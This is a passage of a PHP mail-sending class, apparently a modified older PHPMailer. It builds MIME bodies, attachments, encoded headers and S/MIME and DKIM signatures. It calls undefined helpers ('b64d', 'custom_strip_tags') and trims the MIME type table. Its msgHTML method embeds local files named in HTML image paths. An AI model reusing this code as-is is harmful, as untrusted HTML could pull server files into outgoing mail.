$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); | |
$body .= $this->LE; | |
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->attachAll('inline', $this->boundary[2]); | |
$body .= $this->LE; | |
$body .= $this->attachAll('attachment', $this->boundary[1]); | |
break; | |
case 'alt': | |
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); | |
$body .= $this->encodeString($this->AltBody, $altBodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
if (!empty($this->Ical)) { | |
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); | |
$body .= $this->encodeString($this->Ical, $this->Encoding); | |
$body .= $this->LE . $this->LE; | |
} | |
$body .= $this->endBoundary($this->boundary[1]); | |
break; | |
case 'alt_inline': | |
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); | |
$body .= $this->encodeString($this->AltBody, $altBodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->textLine('--' . $this->boundary[1]); | |
$body .= $this->headerLine('Content-Type', 'multipart/related;'); | |
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); | |
$body .= $this->LE; | |
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->attachAll('inline', $this->boundary[2]); | |
$body .= $this->LE; | |
$body .= $this->endBoundary($this->boundary[1]); | |
break; | |
case 'alt_attach': | |
$body .= $this->textLine('--' . $this->boundary[1]); | |
$body .= $this->headerLine('Content-Type', 'multipart/alternative;'); | |
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); | |
$body .= $this->LE; | |
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); | |
$body .= $this->encodeString($this->AltBody, $altBodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->endBoundary($this->boundary[2]); | |
$body .= $this->LE; | |
$body .= $this->attachAll('attachment', $this->boundary[1]); | |
break; | |
case 'alt_inline_attach': | |
$body .= $this->textLine('--' . $this->boundary[1]); | |
$body .= $this->headerLine('Content-Type', 'multipart/alternative;'); | |
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); | |
$body .= $this->LE; | |
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); | |
$body .= $this->encodeString($this->AltBody, $altBodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->textLine('--' . $this->boundary[2]); | |
$body .= $this->headerLine('Content-Type', 'multipart/related;'); | |
$body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); | |
$body .= $this->LE; | |
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
$body .= $this->LE . $this->LE; | |
$body .= $this->attachAll('inline', $this->boundary[3]); | |
$body .= $this->LE; | |
$body .= $this->endBoundary($this->boundary[2]); | |
$body .= $this->LE; | |
$body .= $this->attachAll('attachment', $this->boundary[1]); | |
break; | |
default: | |
// catch case 'plain' and case '' | |
$body .= $this->encodeString($this->Body, $bodyEncoding); | |
break; | |
} | |
if ($this->isError()) { | |
$body = ''; | |
} elseif ($this->sign_key_file) { | |
try { | |
if (!defined('PKCS7_TEXT')) { | |
throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.'); | |
} | |
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 | |
$file = tempnam(sys_get_temp_dir(), 'mail'); | |
if (false === file_put_contents($file, $body)) { | |
throw new phpmailerException($this->lang('signing') . ' Could not write temp file'); | |
} | |
$signed = tempnam(sys_get_temp_dir(), 'signed'); | |
if (@openssl_pkcs7_sign( | |
$file, | |
$signed, | |
'file://' . realpath($this->sign_cert_file), | |
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), | |
null | |
) | |
) { | |
@unlink($file); | |
$body = file_get_contents($signed); | |
@unlink($signed); | |
} else { | |
@unlink($file); | |
@unlink($signed); | |
throw new phpmailerException($this->lang('signing') . openssl_error_string()); | |
} | |
} catch (phpmailerException $exc) { | |
$body = ''; | |
if ($this->exceptions) { | |
throw $exc; | |
} | |
} | |
} | |
return $body; | |
} | |
protected function getBoundary($boundary, $charSet, $contentType, $encoding) | |
{ | |
$result = ''; | |
if ($charSet == '') { | |
$charSet = $this->CharSet; | |
} | |
if ($contentType == '') { | |
$contentType = $this->ContentType; | |
} | |
if ($encoding == '') { | |
$encoding = $this->Encoding; | |
} | |
$result .= $this->textLine('--' . $boundary); | |
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); | |
$result .= $this->LE; | |
// RFC1341 part 5 says 7bit is assumed if not specified | |
if ($encoding != '7bit') { | |
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding); | |
} | |
$result .= $this->LE; | |
return $result; | |
} | |
protected function endBoundary($boundary) | |
{ | |
return $this->LE . '--' . $boundary . '--' . $this->LE; | |
} | |
protected function setMessageType() | |
{ | |
$type = array(); | |
if ($this->alternativeExists()) { | |
$type[] = 'alt'; | |
} | |
if ($this->inlineImageExists()) { | |
$type[] = 'inline'; | |
} | |
if ($this->attachmentExists()) { | |
$type[] = 'attach'; | |
} | |
$this->message_type = implode('_', $type); | |
if ($this->message_type == '') { | |
$this->message_type = 'plain'; | |
} | |
} | |
public function headerLine($name, $value) | |
{ | |
return $name . ': ' . $value . $this->LE; | |
} | |
public function textLine($value) | |
{ | |
return $value . $this->LE; | |
} | |
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') | |
{ | |
try { | |
if (!@is_file($path)) { | |
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE); | |
} | |
// If a MIME type is not specified, try to work it out from the file name | |
if ($type == '') { | |
$type = self::filenameToType($path); | |
} | |
$filename = basename($path); | |
if ($name == '') { | |
$name = $filename; | |
} | |
$this->attachment[] = array( | |
0 => $path, | |
1 => $filename, | |
2 => $name, | |
3 => $encoding, | |
4 => $type, | |
5 => false, // isStringAttachment | |
6 => $disposition, | |
7 => 0 | |
); | |
} catch (phpmailerException $exc) { | |
$this->setError($exc->getMessage()); | |
$this->edebug($exc->getMessage()); | |
if ($this->exceptions) { | |
throw $exc; | |
} | |
return false; | |
} | |
return true; | |
} | |
public function getAttachments() | |
{ | |
return $this->attachment; | |
} | |
protected function attachAll($disposition_type, $boundary) | |
{ | |
// Return text of body | |
$mime = array(); | |
$cidUniq = array(); | |
$incl = array(); | |
// Add all attachments | |
foreach ($this->attachment as $attachment) { | |
// Check if it is a valid disposition_filter | |
if ($attachment[6] == $disposition_type) { | |
// Check for string attachment | |
$string = ''; | |
$path = ''; | |
$bString = $attachment[5]; | |
if ($bString) { | |
$string = $attachment[0]; | |
} else { | |
$path = $attachment[0]; | |
} | |
$inclhash = md5(serialize($attachment)); | |
if (in_array($inclhash, $incl)) { | |
continue; | |
} | |
$incl[] = $inclhash; | |
$name = $attachment[2]; | |
$encoding = $attachment[3]; | |
$type = $attachment[4]; | |
$disposition = $attachment[6]; | |
$cid = $attachment[7]; | |
if ($disposition == 'inline' && isset($cidUniq[$cid])) { | |
continue; | |
} | |
$cidUniq[$cid] = true; | |
$mime[] = sprintf('--%s%s', $boundary, $this->LE); | |
$mime[] = sprintf( | |
'Content-Type: %s; name="%s"%s', | |
$type, | |
$this->encodeHeader($this->secureHeader($name)), | |
$this->LE | |
); | |
// RFC1341 part 5 says 7bit is assumed if not specified | |
if ($encoding != '7bit') { | |
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE); | |
} | |
if ($disposition == 'inline') { | |
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE); | |
} | |
// If a filename contains any of these chars, it should be quoted, | |
// but not otherwise: RFC2183 & RFC2045 5.1 | |
// Fixes a warning in IETF's msglint MIME checker | |
// Allow for bypassing the Content-Disposition header totally | |
if (!(empty($disposition))) { | |
$encoded_name = $this->encodeHeader($this->secureHeader($name)); | |
if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) { | |
$mime[] = sprintf( | |
'Content-Disposition: %s; filename="%s"%s', | |
$disposition, | |
$encoded_name, | |
$this->LE . $this->LE | |
); | |
} else { | |
$mime[] = sprintf( | |
'Content-Disposition: %s; filename=%s%s', | |
$disposition, | |
$encoded_name, | |
$this->LE . $this->LE | |
); | |
} | |
} else { | |
$mime[] = $this->LE; | |
} | |
// Encode as string attachment | |
if ($bString) { | |
$mime[] = $this->encodeString($string, $encoding); | |
if ($this->isError()) { | |
return ''; | |
} | |
$mime[] = $this->LE . $this->LE; | |
} else { | |
$mime[] = $this->encodeFile($path, $encoding); | |
if ($this->isError()) { | |
return ''; | |
} | |
$mime[] = $this->LE . $this->LE; | |
} | |
} | |
} | |
$mime[] = sprintf('--%s--%s', $boundary, $this->LE); | |
return implode('', $mime); | |
} | |
protected function encodeFile($path, $encoding = 'base64') | |
{ | |
try { | |
if (!is_readable($path)) { | |
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE); | |
} | |
$magic_quotes = get_magic_quotes_runtime(); | |
if ($magic_quotes) { | |
if (version_compare(PHP_VERSION, '5.3.0', '<')) { | |
set_magic_quotes_runtime(false); | |
} else { | |
ini_set('magic_quotes_runtime', 0); | |
} | |
} | |
$file_buffer = file_get_contents($path); | |
$file_buffer = $this->encodeString($file_buffer, $encoding); | |
if ($magic_quotes) { | |
if (version_compare(PHP_VERSION, '5.3.0', '<')) { | |
set_magic_quotes_runtime($magic_quotes); | |
} else { | |
ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0')); | |
} | |
} | |
return $file_buffer; | |
} catch (Exception $exc) { | |
$this->setError($exc->getMessage()); | |
return ''; | |
} | |
} | |
public function encodeString($str, $encoding = 'base64') | |
{ | |
$encoded = ''; | |
switch (strtolower($encoding)) { | |
case 'base64': | |
$encoded = chunk_split(base64_encode($str), 76, $this->LE); | |
break; | |
case '7bit': | |
case '8bit': | |
$encoded = $this->fixEOL($str); | |
// Make sure it ends with a line break | |
if (substr($encoded, -(strlen($this->LE))) != $this->LE) { | |
$encoded .= $this->LE; | |
} | |
break; | |
case 'binary': | |
$encoded = $str; | |
break; | |
case 'quoted-printable': | |
$encoded = $this->encodeQP($str); | |
break; | |
default: | |
$this->setError($this->lang('encoding') . $encoding); | |
break; | |
} | |
return $encoded; | |
} | |
public function encodeHeader($str, $position = 'text') | |
{ | |
$matchcount = 0; | |
switch (strtolower($position)) { | |
case 'phrase': | |
if (!preg_match('/[\200-\377]/', $str)) { | |
// Can't use addslashes as we don't know the value of magic_quotes_sybase | |
$encoded = addcslashes($str, "\0..\37\177\\\""); | |
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { | |
return ($encoded); | |
} else { | |
return ("\"$encoded\""); | |
} | |
} | |
$matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); | |
break; | |
/** @noinspection PhpMissingBreakStatementInspection */ | |
case 'comment': | |
$matchcount = preg_match_all('/[()"]/', $str, $matches); | |
// Intentional fall-through | |
case 'text': | |
default: | |
$matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); | |
break; | |
} | |
if ($matchcount == 0) { // There are no chars that need encoding | |
return ($str); | |
} | |
$maxlen = 75 - 7 - strlen($this->CharSet); | |
// Try to select the encoding which should produce the shortest output | |
if ($matchcount > strlen($str) / 3) { | |
// More than a third of the content will need encoding, so B encoding will be most efficient | |
$encoding = 'B'; | |
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { | |
$encoded = $this->base64EncodeWrapMB($str, "\n"); | |
} else { | |
$encoded = base64_encode($str); | |
$maxlen -= $maxlen % 4; | |
$encoded = trim(chunk_split($encoded, $maxlen, "\n")); | |
} | |
} else { | |
$encoding = 'Q'; | |
$encoded = $this->encodeQ($str, $position); | |
$encoded = $this->wrapText($encoded, $maxlen, true); | |
$encoded = str_replace('=' . self::CRLF, "\n", trim($encoded)); | |
} | |
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); | |
$encoded = trim(str_replace("\n", $this->LE, $encoded)); | |
return $encoded; | |
} | |
public function hasMultiBytes($str) | |
{ | |
if (function_exists('mb_strlen')) { | |
return (strlen($str) > mb_strlen($str, $this->CharSet)); | |
} else { // Assume no multibytes (we can't handle without mbstring functions anyway) | |
return false; | |
} | |
} | |
public function has8bitChars($text) | |
{ | |
return (boolean)preg_match('/[\x80-\xFF]/', $text); | |
} | |
public function base64EncodeWrapMB($str, $linebreak = null) | |
{ | |
$start = '=?' . $this->CharSet . '?B?'; | |
$end = '?='; | |
$encoded = ''; | |
if ($linebreak === null) { | |
$linebreak = $this->LE; | |
} | |
$mb_length = mb_strlen($str, $this->CharSet); | |
// Each line must have length <= 75, including $start and $end | |
$length = 75 - strlen($start) - strlen($end); | |
// Average multi-byte ratio | |
$ratio = $mb_length / strlen($str); | |
// Base64 has a 4:3 ratio | |
$avgLength = floor($length * $ratio * .75); | |
for ($i = 0; $i < $mb_length; $i += $offset) { | |
$lookBack = 0; | |
do { | |
$offset = $avgLength - $lookBack; | |
$chunk = mb_substr($str, $i, $offset, $this->CharSet); | |
$chunk = base64_encode($chunk); | |
$lookBack++; | |
} while (strlen($chunk) > $length); | |
$encoded .= $chunk . $linebreak; | |
} | |
// Chomp the last linefeed | |
$encoded = substr($encoded, 0, -strlen($linebreak)); | |
return $encoded; | |
} | |
public function encodeQP($string, $line_max = 76) | |
{ | |
if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3) | |
return $this->fixEOL(quoted_printable_encode($string)); | |
} | |
// Fall back to a pure PHP implementation | |
$string = str_replace( | |
array('%20', '%0D%0A.', '%0D%0A', '%'), | |
array(' ', "\r\n=2E", "\r\n", '='), | |
rawurlencode($string) | |
); | |
$string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string); | |
return $this->fixEOL($string); | |
} | |
public function encodeQPphp( | |
$string, | |
$line_max = 76, | |
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false | |
) { | |
return $this->encodeQP($string, $line_max); | |
} | |
public function encodeQ($str, $position = 'text') | |
{ | |
// There should not be any EOL in the string | |
$pattern = ''; | |
$encoded = str_replace(array("\r", "\n"), '', $str); | |
switch (strtolower($position)) { | |
case 'phrase': | |
// RFC 2047 section 5.3 | |
$pattern = '^A-Za-z0-9!*+\/ -'; | |
break; | |
/** @noinspection PhpMissingBreakStatementInspection */ | |
case 'comment': | |
// RFC 2047 section 5.2 | |
$pattern = '\(\)"'; | |
case 'text': | |
default: | |
$pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; | |
break; | |
} | |
$matches = array(); | |
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { | |
$eqkey = array_search('=', $matches[0]); | |
if (false !== $eqkey) { | |
unset($matches[0][$eqkey]); | |
array_unshift($matches[0], '='); | |
} | |
foreach (array_unique($matches[0]) as $char) { | |
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); | |
} | |
} | |
// Replace every spaces to _ (more readable than =20) | |
return str_replace(' ', '_', $encoded); | |
} | |
public function addStringAttachment( | |
$string, | |
$filename, | |
$encoding = 'base64', | |
$type = '', | |
$disposition = 'attachment' | |
) { | |
// If a MIME type is not specified, try to work it out from the file name | |
if ($type == '') { | |
$type = self::filenameToType($filename); | |
} | |
// Append to $attachment array | |
$this->attachment[] = array( | |
0 => $string, | |
1 => $filename, | |
2 => basename($filename), | |
3 => $encoding, | |
4 => $type, | |
5 => true, // isStringAttachment | |
6 => $disposition, | |
7 => 0 | |
); | |
} | |
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') | |
{ | |
if (!@is_file($path)) { | |
$this->setError($this->lang('file_access') . $path); | |
return false; | |
} | |
// If a MIME type is not specified, try to work it out from the file name | |
if ($type == '') { | |
$type = self::filenameToType($path); | |
} | |
$filename = basename($path); | |
if ($name == '') { | |
$name = $filename; | |
} | |
// Append to $attachment array | |
$this->attachment[] = array( | |
0 => $path, | |
1 => $filename, | |
2 => $name, | |
3 => $encoding, | |
4 => $type, | |
5 => false, // isStringAttachment | |
6 => $disposition, | |
7 => $cid | |
); | |
return true; | |
} | |
public function addStringEmbeddedImage( | |
$string, | |
$cid, | |
$name = '', | |
$encoding = 'base64', | |
$type = '', | |
$disposition = 'inline' | |
) { | |
// If a MIME type is not specified, try to work it out from the name | |
if ($type == '') { | |
$type = self::filenameToType($name); | |
} | |
// Append to $attachment array | |
$this->attachment[] = array( | |
0 => $string, | |
1 => $name, | |
2 => $name, | |
3 => $encoding, | |
4 => $type, | |
5 => true, // isStringAttachment | |
6 => $disposition, | |
7 => $cid | |
); | |
return true; | |
} | |
public function inlineImageExists() | |
{ | |
foreach ($this->attachment as $attachment) { | |
if ($attachment[6] == 'inline') { | |
return true; | |
} | |
} | |
return false; | |
} | |
public function attachmentExists() | |
{ | |
foreach ($this->attachment as $attachment) { | |
if ($attachment[6] == 'attachment') { | |
return true; | |
} | |
} | |
return false; | |
} | |
public function alternativeExists() | |
{ | |
return !empty($this->AltBody); | |
} | |
public function clearAddresses() | |
{ | |
foreach ($this->to as $to) { | |
unset($this->all_recipients[strtolower($to[0])]); | |
} | |
$this->to = array(); | |
} | |
public function clearCCs() | |
{ | |
foreach ($this->cc as $cc) { | |
unset($this->all_recipients[strtolower($cc[0])]); | |
} | |
$this->cc = array(); | |
} | |
public function clearBCCs() | |
{ | |
foreach ($this->bcc as $bcc) { | |
unset($this->all_recipients[strtolower($bcc[0])]); | |
} | |
$this->bcc = array(); | |
} | |
public function clearReplyTos() | |
{ | |
$this->ReplyTo = array(); | |
} | |
public function clearAllRecipients() | |
{ | |
$this->to = array(); | |
$this->cc = array(); | |
$this->bcc = array(); | |
$this->all_recipients = array(); | |
} | |
public function clearAttachments() | |
{ | |
$this->attachment = array(); | |
} | |
public function clearCustomHeaders() | |
{ | |
$this->CustomHeader = array(); | |
} | |
protected function setError($msg) | |
{ | |
$this->error_count++; | |
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { | |
$lasterror = $this->smtp->getError(); | |
if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { | |
$msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n"; | |
} | |
} | |
$this->ErrorInfo = $msg; | |
} | |
public static function rfcDate() | |
{ | |
// Set the time zone to whatever the default is to avoid 500 errors | |
// Will default to UTC if it's not set properly in php.ini | |
date_default_timezone_set(@date_default_timezone_get()); | |
return date('D, j M Y H:i:s O'); | |
} | |
protected function serverHostname() | |
{ | |
$result = 'localhost.localdomain'; | |
if (!empty($this->Hostname)) { | |
$result = $this->Hostname; | |
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { | |
$result = $_SERVER['SERVER_NAME']; | |
} elseif (function_exists('gethostname') && gethostname() !== false) { | |
$result = gethostname(); | |
} elseif (php_uname('n') !== false) { | |
$result = php_uname('n'); | |
} | |
return $result; | |
} | |
protected function lang($key) | |
{ | |
if (count($this->language) < 1) { | |
$this->setLanguage('en'); // set the default language | |
} | |
if (isset($this->language[$key])) { | |
return $this->language[$key]; | |
} else { | |
return 'Language string failed to load: ' . $key; | |
} | |
} | |
public function isError() | |
{ | |
return ($this->error_count > 0); | |
} | |
public function fixEOL($str) | |
{ | |
// Normalise to \n | |
$nstr = str_replace(array("\r\n", "\r"), "\n", $str); | |
// Now convert LE as needed | |
if ($this->LE !== "\n") { | |
$nstr = str_replace("\n", $this->LE, $nstr); | |
} | |
return $nstr; | |
} | |
public function addCustomHeader($name, $value = null) | |
{ | |
if ($value === null) { | |
// Value passed in as name:value | |
$this->CustomHeader[] = explode(':', $name, 2); | |
} else { | |
$this->CustomHeader[] = array($name, $value); | |
} | |
} | |
public function msgHTML($message, $basedir = '', $advanced = false) | |
{ | |
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); | |
if (isset($images[2])) { | |
foreach ($images[2] as $imgindex => $url) { | |
// Convert data URIs into embedded images | |
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { | |
$data = substr($url, strpos($url, ',')+1); | |
if ($match[2]) { | |
$data = b64d($data); | |
} else { | |
$data = rawurldecode($data); | |
} | |
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 | |
if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) { | |
$message = str_replace( | |
$images[0][$imgindex], | |
$images[1][$imgindex] . '="cid:' . $cid . '"', | |
$message | |
); | |
} | |
} elseif (!preg_match('#^[A-z]+://#', $url)) { | |
// Do not change urls for absolute images (thanks to corvuscorax) | |
$filename = basename($url); | |
$directory = dirname($url); | |
if ($directory == '.') { | |
$directory = ''; | |
} | |
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 | |
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { | |
$basedir .= '/'; | |
} | |
if (strlen($directory) > 1 && substr($directory, -1) != '/') { | |
$directory .= '/'; | |
} | |
if ($this->addEmbeddedImage( | |
$basedir . $directory . $filename, | |
$cid, | |
$filename, | |
'base64', | |
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) | |
) | |
) { | |
$message = preg_replace( | |
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', | |
$images[1][$imgindex] . '="cid:' . $cid . '"', | |
$message | |
); | |
} | |
} | |
} | |
} | |
$this->isHTML(true); | |
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better | |
$this->Body = $this->normalizeBreaks($message); | |
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); | |
if (empty($this->AltBody)) { | |
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' . | |
self::CRLF . self::CRLF; | |
} | |
return $this->Body; | |
} | |
public function html2text($html, $advanced = false) | |
{ | |
if (is_callable($advanced)) { | |
return call_user_func($advanced, $html); | |
} | |
return html_entity_decode( | |
trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), | |
ENT_QUOTES, | |
$this->CharSet | |
); | |
} | |
public static function _mime_types($ext = '') | |
{ | |
$mimes = array( | |
'gif' => 'image/gif', | |
'jpeg' => 'image/jpeg', | |
'jpe' => 'image/jpeg', | |
'jpg' => 'image/jpeg', | |
'png' => 'image/png', | |
'tiff' => 'image/tiff', | |
'tif' => 'image/tiff', | |
); | |
return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream'); | |
} | |
public static function filenameToType($filename) | |
{ | |
// In case the path is a URL, strip any query string before getting extension | |
$qpos = strpos($filename, '?'); | |
if (false !== $qpos) { | |
$filename = substr($filename, 0, $qpos); | |
} | |
$pathinfo = self::mb_pathinfo($filename); | |
return self::_mime_types($pathinfo['extension']); | |
} | |
public static function mb_pathinfo($path, $options = null) | |
{ | |
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); | |
$pathinfo = array(); | |
if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { | |
if (array_key_exists(1, $pathinfo)) { | |
$ret['dirname'] = $pathinfo[1]; | |
} | |
if (array_key_exists(2, $pathinfo)) { | |
$ret['basename'] = $pathinfo[2]; | |
} | |
if (array_key_exists(5, $pathinfo)) { | |
$ret['extension'] = $pathinfo[5]; | |
} | |
if (array_key_exists(3, $pathinfo)) { | |
$ret['filename'] = $pathinfo[3]; | |
} | |
} | |
switch ($options) { | |
case PATHINFO_DIRNAME: | |
case 'dirname': | |
return $ret['dirname']; | |
case PATHINFO_BASENAME: | |
case 'basename': | |
return $ret['basename']; | |
case PATHINFO_EXTENSION: | |
case 'extension': | |
return $ret['extension']; | |
case PATHINFO_FILENAME: | |
case 'filename': | |
return $ret['filename']; | |
default: | |
return $ret; | |
} | |
} | |
public function set($name, $value = '') | |
{ | |
try { | |
if (isset($this->$name)) { | |
$this->$name = $value; | |
} else { | |
throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL); | |
} | |
} catch (Exception $exc) { | |
$this->setError($exc->getMessage()); | |
if ($exc->getCode() == self::STOP_CRITICAL) { | |
return false; | |
} | |
} | |
return true; | |
} | |
public function secureHeader($str) | |
{ | |
return trim(str_replace(array("\r", "\n"), '', $str)); | |
} | |
public static function normalizeBreaks($text, $breaktype = "\r\n") | |
{ | |
return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); | |
} | |
public function sign($cert_filename, $key_filename, $key_pass) | |
{ | |
$this->sign_cert_file = $cert_filename; | |
$this->sign_key_file = $key_filename; | |
$this->sign_key_pass = $key_pass; | |
} | |
public function DKIM_QP($txt) | |
{ | |
$line = ''; | |
for ($i = 0; $i < strlen($txt); $i++) { | |
$ord = ord($txt[$i]); | |
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { | |
$line .= $txt[$i]; | |
} else { | |
$line .= '=' . sprintf('%02X', $ord); | |
} | |
} | |
return $line; | |
} | |
public function DKIM_Sign($signHeader) | |
{ | |
if (!defined('PKCS7_TEXT')) { | |
if ($this->exceptions) { | |
throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.'); | |
} | |
return ''; | |
} | |
$privKeyStr = file_get_contents($this->DKIM_private); | |
if ($this->DKIM_passphrase != '') { | |
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); | |
} else { | |
$privKey = $privKeyStr; | |
} | |
if (openssl_sign($signHeader, $signature, $privKey)) { | |
return base64_encode($signature); | |
} | |
return ''; | |
} | |
public function DKIM_HeaderC($signHeader) | |
{ | |
$signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader); | |
$lines = explode("\r\n", $signHeader); | |
foreach ($lines as $key => $line) { | |
list($heading, $value) = explode(':', $line, 2); | |
$heading = strtolower($heading); | |
$value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces | |
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value | |
} | |
$signHeader = implode("\r\n", $lines); | |
return $signHeader; | |
} | |
public function DKIM_BodyC($body) | |
{ | |
if ($body == '') { | |
return "\r\n"; | |
} | |
// stabilize line endings | |
$body = str_replace("\r\n", "\n", $body); | |
$body = str_replace("\n", "\r\n", $body); | |
// END stabilize line endings | |
while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { | |
$body = substr($body, 0, strlen($body) - 2); | |
} | |
return $body; | |
} | |
public function DKIM_Add($headers_line, $subject, $body) | |
{ | |
$DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms | |
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body | |
$DKIMquery = 'dns/txt'; // Query method | |
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) | |
$subject_header = "Subject: $subject"; | |
$headers = explode($this->LE, $headers_line); | |
$from_header = ''; | |
$to_header = ''; | |
$current = ''; | |
foreach ($headers as $header) { | |
if (strpos($header, 'From:') === 0) { | |
$from_header = $header; | |
$current = 'from_header'; | |
} elseif (strpos($header, 'To:') === 0) { | |
$to_header = $header; | |
$current = 'to_header'; | |
} else { | |
if ($current && strpos($header, ' =?') === 0) { | |
$current .= $header; | |
} else { | |
$current = ''; | |
} | |
} | |
} | |
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); | |
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); | |
$subject = str_replace( | |
'|', | |
'=7C', | |
$this->DKIM_QP($subject_header) | |
); // Copied header fields (dkim-quoted-printable) | |
$body = $this->DKIM_BodyC($body); | |
$DKIMlen = strlen($body); // Length of body | |
$DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body | |
$ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';'; | |
$dkimhdrs = 'DKIM-Signature: v=1; a=' . | |
$DKIMsignatureType . '; q=' . | |
$DKIMquery . '; l=' . | |
$DKIMlen . '; s=' . | |
$this->DKIM_selector . | |
";\r\n" . | |
"\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . | |
"\th=From:To:Subject;\r\n" . | |
"\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . | |
"\tz=$from\r\n" . | |
"\t|$to\r\n" . | |
"\t|$subject;\r\n" . | |
"\tbh=" . $DKIMb64 . ";\r\n" . | |
"\tb="; | |
$toSign = $this->DKIM_HeaderC( | |
$from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs | |
); | |
